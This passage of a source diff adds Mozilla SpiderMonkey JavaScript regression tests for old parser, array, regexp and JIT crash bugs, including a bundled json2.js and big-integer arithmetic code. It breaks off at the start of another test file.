+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var { sin, PI } = Math; sin(PI / 2);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-433279-02.js b/js/src/tests/non262/regress/regress-433279-02.js
new file mode 100644
index 0000000000..742c8caef2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-433279-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('var {a} = b; c(d + 1);');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-433279-03.js b/js/src/tests/non262/regress/regress-433279-03.js
new file mode 100644
index 0000000000..ad7227059a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-433279-03.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({a}) = b; with({}) { for(let y in z) { } }');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-438415-01.js b/js/src/tests/non262/regress/regress-438415-01.js
new file mode 100644
index 0000000000..5e881c071d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-438415-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 438415;
+var summary = 'Do not assert: *vp != JSVAL_HOLE';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ [1,,].pop();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-438415-02.js b/js/src/tests/non262/regress/regress-438415-02.js
new file mode 100644
index 0000000000..208eed571e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-438415-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 438415;
+var summary = 'Do not assert: *vp != JSVAL_HOLE';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'zero';
+ Array.prototype[0] = 'zero';
+ var a = [];
+ a.length = 1;
+ actual = a.pop();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-440926.js b/js/src/tests/non262/regress/regress-440926.js
new file mode 100644
index 0000000000..6c1f9099c1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-440926.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 440926;
+var summary = 'Correctly match regexps with special "i" characters';
+var actual = '';
+var expect = 'iI#,iI#;iI#,iI#';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual += 'iI\u0130'.replace(/[\u0130]/gi, '#');
+ actual += ',' + 'iI\u0130'.replace(/\u0130/gi, '#');
+
+ actual += ';' + 'iI\u0130'.replace(/[\u0130]/gi, '#');
+ actual += ',' + 'iI\u0130'.replace(/\u0130/gi, '#');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-441477-01.js b/js/src/tests/non262/regress/regress-441477-01.js
new file mode 100644
index 0000000000..333a407da0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-441477-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 441477-01;
+var summary = '';
+var actual = 'No Exception';
+var expect = 'No Exception';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (i = 0; i < 5;)
+ {
+ if (i > 5)
+ throw "bad";
+ i++;
+ continue;
+ }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-442333-01.js b/js/src/tests/non262/regress/regress-442333-01.js
new file mode 100644
index 0000000000..4ddc31f1dc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-442333-01.js
@@ -0,0 +1,34 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 442333;
+var summary = 'Remove eval\'s optional second argument';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: a is not defined';
+ var o = {a : 1};
+
+ try
+ {
+ eval('a', o);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-449627.js b/js/src/tests/non262/regress/regress-449627.js
new file mode 100644
index 0000000000..f50fd29e2a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-449627.js
@@ -0,0 +1,114 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 449627;
+var summary = 'Crash with JIT in js_FillPropertyCache';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+/************************ BROWSER DETECT (http://www.quirksmode.org/js/detect.html) ************************/
+
+if (typeof navigator == 'undefined')
+{
+ navigator = {
+ userAgent: "Firefox",
+ vendor: "Mozilla",
+ platform: "Mac"
+ };
+}
+
+global = this;
+
+var BrowserDetect = {
+ init: function _init()
+ {
+ this.browser=this.searchString(this.dataBrowser) || "An unknown browser";
+
+ this.OS= this.searchString(this.dataOS)||"an unknown OS";
+ },
+ searchString: function _searchString(a)
+ {
+ for(var i=0; i < a.length; i++)
+ {
+ var b=a[i].string;
+ var c=a[i].prop;
+ this.versionSearchString=a[i].versionSearch||a[i].identity;
+ if(b)
+ {
+ if(b.indexOf(a[i].subString)!=-1)
+ return a[i].identity;
+ }
+ else if(c)
+ return a[i].identity;
+ }
+ },
+
+ searchVersion:function _searchVersion(a)
+ {
+ var b=a.indexOf(this.versionSearchString);
+ if(b==-1)
+ return;
+ return parseFloat(a.substring(b+this.versionSearchString.length+1));
+ },
+
+ dataBrowser:[
+ {
+ string:navigator.userAgent,subString:"OmniWeb",versionSearch:"OmniWeb/",identity:"OmniWeb"
+ },
+ {
+ string:navigator.vendor,subString:"Apple",identity:"Safari"
+ },
+ {
+ prop:global.opera,identity:"Opera"
+ },
+ {
+ string:navigator.vendor,subString:"iCab",identity:"iCab"
+ },
+ {
+ string:navigator.vendor,subString:"KDE",identity:"Konqueror"
+ },
+ {
+ string:navigator.userAgent,subString:"Firefox",identity:"Firefox"
+ },
+ {
+ string:navigator.vendor,subString:"Camino",identity:"Camino"
+ },
+ {
+ string:navigator.userAgent,subString:"Netscape",identity:"Netscape"
+ },
+ {
+ string:navigator.userAgent,subString:"MSIE",identity:"Explorer",versionSearch:"MSIE"
+ },
+ {
+ string:navigator.userAgent,subString:"Gecko",identity:"Mozilla",versionSearch:"rv"
+ },
+ {
+ string:navigator.userAgent,subString:"Mozilla",identity:"Netscape",versionSearch:"Mozilla"
+ }
+ ],
+ dataOS:[
+ {
+ string:navigator.platform,subString:"Win",identity:"Windows"
+ },
+ {
+ string:navigator.platform,subString:"Mac",identity:"Mac"
+ },
+ {
+ string:navigator.platform,subString:"Linux",identity:"Linux"
+ }
+ ]
+ };
+
+BrowserDetect.init();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-449666.js b/js/src/tests/non262/regress/regress-449666.js
new file mode 100644
index 0000000000..0a9ce9f9aa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-449666.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 449666;
+var summary = 'Do not assert: JSSTRING_IS_FLAT(str_)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var global;
+
+
+ if (typeof window == 'undefined') {
+ global = this;
+ }
+ else {
+ global = window;
+ }
+
+ if (!global['g']) {
+ global['g'] = {};
+ }
+
+ if (!global['g']['l']) {
+ global['g']['l'] = {};
+ (function() {
+ function k(a,b){
+ var c=a.split(/\./);
+ var d=global;
+ for(var e=0;e<c.length-1;e++){
+ if(!d[c[e]]){
+ d[c[e]]={};
+ }
+ d=d[c[e]];
+ }
+ d[c[c.length-1]]=b;
+ print("hi");
+ }
+
+ function T(a){return "hmm"}
+ k("g.l.loaded",T);
+ })();
+
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-450369.js b/js/src/tests/non262/regress/regress-450369.js
new file mode 100644
index 0000000000..5a27005589
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-450369.js
@@ -0,0 +1,307 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 450369;
+var summary = 'Crash with JIT and json2.js';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+/*
+ json2.js
+ 2007-11-06
+
+ Public Domain
+
+ See http://www.JSON.org/js.html
+
+ This file creates a global JSON object containing two methods:
+
+ JSON.stringify(value, whitelist)
+ value any JavaScript value, usually an object or array.
+
+ whitelist an optional that determines how object values are
+ stringified.
+
+ This method produces a JSON text from a JavaScript value.
+ There are three possible ways to stringify an object, depending
+ on the optional whitelist parameter.
+
+ If an object has a toJSON method, then the toJSON() method will be
+ called. The value returned from the toJSON method will be
+ stringified.
+
+ Otherwise, if the optional whitelist parameter is an array, then
+ the elements of the array will be used to select members of the
+ object for stringification.
+
+ Otherwise, if there is no whitelist parameter, then all of the
+ members of the object will be stringified.
+
+ Values that do not have JSON representaions, such as undefined or
+ functions, will not be serialized. Such values in objects will be
+ dropped, in arrays will be replaced with null. JSON.stringify()
+ returns undefined. Dates will be stringified as quoted ISO dates.
+
+ Example:
+
+ var text = JSON.stringify(['e', {pluribus: 'unum'}]);
+ // text is '["e",{"pluribus":"unum"}]'
+
+ JSON.parse(text, filter)
+ This method parses a JSON text to produce an object or
+ array. It can throw a SyntaxError exception.
+
+ The optional filter parameter is a function that can filter and
+ transform the results. It receives each of the keys and values, and
+ its return value is used instead of the original value. If it
+ returns what it received, then structure is not modified. If it
+ returns undefined then the member is deleted.
+
+ Example:
+
+ // Parse the text. If a key contains the string 'date' then
+ // convert the value to a date.
+
+ myData = JSON.parse(text, function (key, value) {
+ return key.indexOf('date') >= 0 ? new Date(value) : value;
+ });
+
+ This is a reference implementation. You are free to copy, modify, or
+ redistribute.
+
+ Use your own copy. It is extremely unwise to load third party
+ code into your pages.
+*/
+
+/*jslint evil: true */
+/*extern JSON */
+
+if (!this.emulatedJSON) {
+
+ emulatedJSON = function () {
+
+ function f(n) { // Format integers to have at least two digits.
+ return n < 10 ? '0' + n : n;
+ }
+
+ Date.prototype.toJSON = function () {
+
+// Eventually, this method will be based on the date.toISOString method.
+
+ return this.getUTCFullYear() + '-' +
+ f(this.getUTCMonth() + 1) + '-' +
+ f(this.getUTCDate()) + 'T' +
+ f(this.getUTCHours()) + ':' +
+ f(this.getUTCMinutes()) + ':' +
+ f(this.getUTCSeconds()) + 'Z';
+ };
+
+
+ var m = { // table of character substitutions
+ '\b': '\\b',
+ '\t': '\\t',
+ '\n': '\\n',
+ '\f': '\\f',
+ '\r': '\\r',
+ '"' : '\\"',
+ '\\': '\\\\'
+ };
+
+ function stringify(value, whitelist) {
+ var a, // The array holding the partial texts.
+ i, // The loop counter.
+ k, // The member key.
+ l, // Length.
+ r = /["\\\x00-\x1f\x7f-\x9f]/g,
+ v; // The member value.
+
+ switch (typeof value) {
+ case 'string':
+
+// If the string contains no control characters, no quote characters, and no
+// backslash characters, then we can safely slap some quotes around it.
+// Otherwise we must also replace the offending characters with safe sequences.
+
+ return r.test(value) ?
+ '"' + value.replace(r, function (a) {
+ var c = m[a];
+ if (c) {
+ return c;
+ }
+ c = a.charCodeAt();
+ return '\\u00' + Math.floor(c / 16).toString(16) +
+ (c % 16).toString(16);
+ }) + '"' :
+ '"' + value + '"';
+
+ case 'number':
+
+// JSON numbers must be finite. Encode non-finite numbers as null.
+
+ return isFinite(value) ? String(value) : 'null';
+
+ case 'boolean':
+ case 'null':
+ return String(value);
+
+ case 'object':
+
+// Due to a specification blunder in ECMAScript,
+// typeof null is 'object', so watch out for that case.
+
+ if (!value) {
+ return 'null';
+ }
+
+// If the object has a toJSON method, call it, and stringify the result.
+
+ if (typeof value.toJSON === 'function') {
+ return stringify(value.toJSON());
+ }
+ a = [];
+ if (typeof value.length === 'number' &&
+ !(value.propertyIsEnumerable('length'))) {
+
+// The object is an array. Stringify every element. Use null as a placeholder
+// for non-JSON values.
+
+ l = value.length;
+ for (i = 0; i < l; i += 1) {
+ a.push(stringify(value[i], whitelist) || 'null');
+ }
+
+// Join all of the elements together and wrap them in brackets.
+
+ return '[' + a.join(',') + ']';
+ }
+ if (whitelist) {
+
+// If a whitelist (array of keys) is provided, use it to select the components
+// of the object.
+
+ l = whitelist.length;
+ for (i = 0; i < l; i += 1) {
+ k = whitelist[i];
+ if (typeof k === 'string') {
+ v = stringify(value[k], whitelist);
+ if (v) {
+ a.push(stringify(k) + ':' + v);
+ }
+ }
+ }
+ } else {
+
+// Otherwise, iterate through all of the keys in the object.
+
+ for (k in value) {
+ if (typeof k === 'string') {
+ v = stringify(value[k], whitelist);
+ if (v) {
+ a.push(stringify(k) + ':' + v);
+ }
+ }
+ }
+ }
+
+// Join all of the member texts together and wrap them in braces.
+
+ return '{' + a.join(',') + '}';
+ }
+ return undefined;
+ }
+
+ return {
+ stringify: stringify,
+ parse: function (text, filter) {
+ var j;
+
+ function walk(k, v) {
+ var i, n;
+ if (v && typeof v === 'object') {
+ for (i in v) {
+ if (Object.prototype.hasOwnProperty.apply(v, [i])) {
+ n = walk(i, v[i]);
+ if (n !== undefined) {
+ v[i] = n;
+ }
+ }
+ }
+ }
+ return filter(k, v);
+ }
+
+
+// Parsing happens in three stages. In the first stage, we run the text against
+// regular expressions that look for non-JSON patterns. We are especially
+// concerned with '()' and 'new' because they can cause invocation, and '='
+// because it can cause mutation. But just to be safe, we want to reject all
+// unexpected forms.
+
+// We split the first stage into 4 regexp operations in order to work around
+// crippling inefficiencies in IE's and Safari's regexp engines. First we
+// replace all backslash pairs with '@' (a non-JSON character). Second, we
+// replace all simple value tokens with ']' characters. Third, we delete all
+// open brackets that follow a colon or comma or that begin the text. Finally,
+// we look to see that the remaining characters are only whitespace or ']' or
+// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
+
+ if (/^[\],:{}\s]*$/.test(text.replace(/\\./g, '@').
+replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(:?[eE][+\-]?\d+)?/g, ']').
+replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
+
+// In the second stage we use the eval function to compile the text into a
+// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
+// in JavaScript: it can begin a block or an object literal. We wrap the text
+// in parens to eliminate the ambiguity.
+
+ j = eval('(' + text + ')');
+
+// In the optional third stage, we recursively walk the new structure, passing
+// each name/value pair to a filter function for possible transformation.
+
+ return typeof filter === 'function' ? walk('', j) : j;
+ }
+
+// If the text is not JSON parseable, then a SyntaxError is thrown.
+
+ throw new SyntaxError('parseJSON');
+ }
+ };
+ }();
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var testPairs = [
+ ["{}", {}],
+ ["[]", []],
+ ['{"foo":"bar"}', {"foo":"bar"}],
+ ['{"null":null}', {"null":null}],
+ ['{"five":5}', {"five":5}],
+ ]
+
+ var a = [];
+ for (var i=0; i < testPairs.length; i++) {
+ var pair = testPairs[i];
+ var s = emulatedJSON.stringify(pair[1])
+ a[i] = s;
+ }
+ print(a.join("\n"));
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-450833.js b/js/src/tests/non262/regress/regress-450833.js
new file mode 100644
index 0000000000..507c25e4d1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-450833.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 450833;
+var summary = 'TM: Multiple trees per entry point';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 100;
+
+
+ function f(i) {
+ for (var m = 0; m < 20; ++m)
+ for (var n = 0; n < 100; n += i)
+ ;
+ return n;
+ }
+
+ print(actual = f(1));
+
+
+ reportCompare(expect, actual, summary);
+
+
+ print(actual = f(.5));
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-451322.js b/js/src/tests/non262/regress/regress-451322.js
new file mode 100644
index 0000000000..b740d51aaf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-451322.js
@@ -0,0 +1,34 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451322;
+var summary = 'Do not crash with OOM in LirBufWriter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f() {
+ for (var i = 0; i < 200000; i++) {
+ var m = new Function("var k = 0; for (var j = 0; j < 5; j++) { k += j * 2 + 8 / (j+3) * k} return k;");
+ m();
+ }
+ }
+ f();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-451884.js b/js/src/tests/non262/regress/regress-451884.js
new file mode 100644
index 0000000000..9d57e65a50
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-451884.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451884;
+var summary = 'Do not crash [@ QuoteString]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function(k){eval("k.y")})();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-451946.js b/js/src/tests/non262/regress/regress-451946.js
new file mode 100644
index 0000000000..b64c05a873
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-451946.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451946;
+var summary = 'Do not crash with SELinux execheap protection';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test is only valid with SELinux targetted policy with exeheap protection');
+
+
+ var i; for (i = 0; i < 2000000; i++) {;}
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452008.js b/js/src/tests/non262/regress/regress-452008.js
new file mode 100644
index 0000000000..7931696b27
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452008.js
@@ -0,0 +1,148 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452008;
+var summary = 'Bad math with JIT';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// regression test for Bug 452008 - TM: SRP in Clipperz crypto library fails when JIT (TraceMonkey) is enabled.
+
+ var x = [9385, 32112, 25383, 16317, 30138, 14565, 17812, 24500, 2719, 30174, 3546, 9096, 15352, 19120, 20648, 14334, 7426, 0, 0, 0];
+ var n = [27875, 25925, 30422, 12227, 27798, 32170, 10873, 21748, 30629, 26296, 20697, 5125, 4815, 2221, 14392, 23369, 5560, 2, 0, 0];
+ var np = 18229;
+ var expected = [18770, 31456, 17999, 32635, 27508, 29131, 2856, 16233, 5439, 27580, 7093, 18192, 30804, 5472, 8529, 28649, 14852, 0, 0, 0];
+
+//globals
+ bpe=0; //bits stored per array element
+ mask=0; //AND this with an array element to chop it down to bpe bits
+
+//initialize the global variables
+ for (bpe=0; (1<<(bpe+1)) > (1<<bpe); bpe++); //bpe=number of bits in the mantissa on this platform
+ bpe>>=1; //bpe=number of bits in one element of the array representing the bigInt
+ mask=(1<<bpe)-1; //AND the mask with an integer to get its bpe least significant bits
+
+
+//the following global variables are scratchpad memory to
+//reduce dynamic memory allocation in the inner loop
+ sa = new Array(0); //used in mont_()
+
+//do x=y on bigInts x and y. x must be an array at least as big as y (not counting the leading zeros in y).
+ function copy_(x,y) {
+ var i;
+ var k=x.length<y.length ? x.length : y.length;
+ for (i=0;i<k;i++)
+ x[i]=y[i];
+ for (i=k;i<x.length;i++)
+ x[i]=0;
+ }
+
+//do x=y on bigInt x and integer y.
+ function copyInt_(x,n) {
+ var i,c;
+ for (c=n,i=0;i<x.length;i++) {
+ x[i]=c & mask;
+ c>>=bpe;
+ }
+ }
+
+//is x > y? (x and y both nonnegative)
+ function greater(x,y) {
+ var i;
+ var k=(x.length<y.length) ? x.length : y.length;
+
+ for (i=x.length;i<y.length;i++)
+ if (y[i])
+ return 0; //y has more digits
+
+ for (i=y.length;i<x.length;i++)
+ if (x[i])
+ return 1; //x has more digits
+
+ for (i=k-1;i>=0;i--)
+ if (x[i]>y[i])
+ return 1;
+ else if (x[i]<y[i])
+ return 0;
+ return 0;
+ }
+
+
+//do x=x*y*Ri mod n for bigInts x,y,n,
+// where Ri = 2**(-kn*bpe) mod n, and kn is the
+// number of elements in the n array, not
+// counting leading zeros.
+//x must be large enough to hold the answer.
+//It's OK if x and y are the same variable.
+//must have:
+// x,y < n
+// n is odd
+// np = -(n^(-1)) mod radix
+ function mont_(x,y,n,np) {
+ var i,j,c,ui,t;
+ var kn=n.length;
+ var ky=y.length;
+
+ if (sa.length!=kn)
+ sa=new Array(kn);
+
+ for (;kn>0 && n[kn-1]==0;kn--); //ignore leading zeros of n
+ for (;ky>0 && y[ky-1]==0;ky--); //ignore leading zeros of y
+
+ copyInt_(sa,0);
+
+ //the following loop consumes 95% of the runtime for randTruePrime_() and powMod_() for large keys
+ for (i=0; i<kn; i++) {
+ t=sa[0]+x[i]*y[0];
+ ui=((t & mask) * np) & mask; //the inner "& mask" is needed on Macintosh MSIE, but not windows MSIE
+ c=(t+ui*n[0]) >> bpe;
+ t=x[i];
+
+ //do sa=(sa+x[i]*y+ui*n)/b where b=2**bpe
+ for (j=1;j<ky;j++) {
+ c+=sa[j]+t*y[j]+ui*n[j];
+ sa[j-1]=c & mask;
+ c>>=bpe;
+ }
+ for (;j<kn;j++) {
+ c+=sa[j]+ui*n[j];
+ sa[j-1]=c & mask;
+ c>>=bpe;
+ }
+ sa[j-1]=c & mask;
+ }
+
+ if (!greater(n,sa))
+ sub_(sa,n);
+ copy_(x,sa);
+ }
+
+ mont_(x, x, n, np);
+
+ var passed = expected.length == x.length;
+ for (var i = 0; i < expected.length; i++) {
+ if (passed)
+ passed = expected[i] == x[i];
+ }
+ print(passed);
+
+
+ expect = true;
+ actual = passed;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452170.js b/js/src/tests/non262/regress/regress-452170.js
new file mode 100644
index 0000000000..156ade04d5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452170.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452170;
+var summary = 'Do not assert with JIT: (*m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { (-0).toString(); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452189.js b/js/src/tests/non262/regress/regress-452189.js
new file mode 100644
index 0000000000..811fe5fbdd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452189.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
